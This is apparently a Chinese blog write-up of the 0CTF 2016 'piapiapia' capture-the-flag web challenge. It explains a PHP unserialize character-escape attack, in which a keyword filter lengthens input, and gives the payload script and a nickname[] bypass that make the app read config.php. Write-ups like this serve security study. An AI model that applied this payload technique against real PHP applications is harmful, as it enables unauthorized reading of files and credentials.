[0CTF 2016]piapiapia 1

[0CTF 2016]piapiapia 1,第1张

一开始没思路 到网上搜了一下 才想起来扫目录

这里给自己提醒下 以后没思路就抓包和扫目录

拿到源码:

代码审计 是一个难题 对于目前的我 未来要加强这方面的能力

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

注意到在profile页面里 有文件读取 file_get_contents函数 所以可以在这里想办法读取flag的文件
去看序列化的链子

注意到 update里有序列化的地方,所以可以在这里进行序列化的构造

先注册 注册完后登陆进来 然后到这个信息编辑页面 这里就需要用到burpsuite抓包 然后改文件要发过去的信息 来实现我们序列化的构造
这时候就抓到了 我们分析代码


class user extends mysql{
	private $table = 'users';

	public function show_profile($username) {\
        // 存在过滤,关键字update被过滤,无法通过更新,修改photo路径
		$username = parent::filter($username);

		// 存在字符替换,利用此方法可以进行字符逃逸反序列化
		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
}

	public function filter($string) {
		$escape = array('\'', '\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

<?php
	require_once('class.php');
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

	

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));

?>


每次上传的时候 会把序列化后的信息进行过滤 在filter函数中
这里就可以实现字符逃逸了
这里从where到hacker是5变6 存在一个字符逃逸 所以可以利用where来实现

构造序列化代码

<?php
		$profile['phone'] = '11111111111';
		$profile['email'] = '[email protected]';
		$profile['nickname'] = 'swaggyo';
		$profile['photo'] = 'config.php';
	echo serialize($profile);

?>


a:4:{s:5:“phone”;s:11:“11111111111”;s:5:“email”;s:14:“[email protected]”;s:8:“nickname”;s:7:“swaggyo”;s:5:“photo”;s:10:“config.php”;}

得到该序列化 这时候就开始构造字符逃逸

";s:5:"photo";s:10:"config.php";}

需要逃逸部分为这段字符串 其长度为33 所以需要33个where

<?php
function filter($string) {
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	echo strlen('";s:5:"photo";s:10:"config.php";}');
		$profile['phone'] = '11111111111';
		$profile['email'] = '[email protected]';
		$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
		$profile['photo'] = 'config.php';
		$a= serialize($profile);
		$a=filter($a);
		echo $a."\n";
		$b=unserialize($a);
		echo var_dump($b);
?>

成功逃逸了

但是在环境里 我反序列化一直在失败 看到网上人这里构造的是

";}s:5:"photo";s:10:"config.php";}

原因是 原函数对nickname长度进行了限制

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

想要绕过 就将其改外nickname[]类型 但改成nickname[] 这里就需要一个}了


找到被base64的读出的config.php文件 解码

补充:数组类型的序列化结果:

<?php
class wzk{
	public $a='1';
	public $cars=array("porsche","BMW","Volvo");
}
$t=new wzk();
echo serialize($t);
?>

O:3:“wzk”:2:{s:1:“a”;s:1:“1”;s:4:“cars”;a:3:{i:0;s:7:“porsche”;i:1;s:3:“BMW”;i:2;s:5:“Volvo”;}}
可以看到 数组内内容是被一组{}单独包裹起来的 所以我们在刚刚那里 需要一个}使得数组提前闭合 ,否则会出现错误。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/990734.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存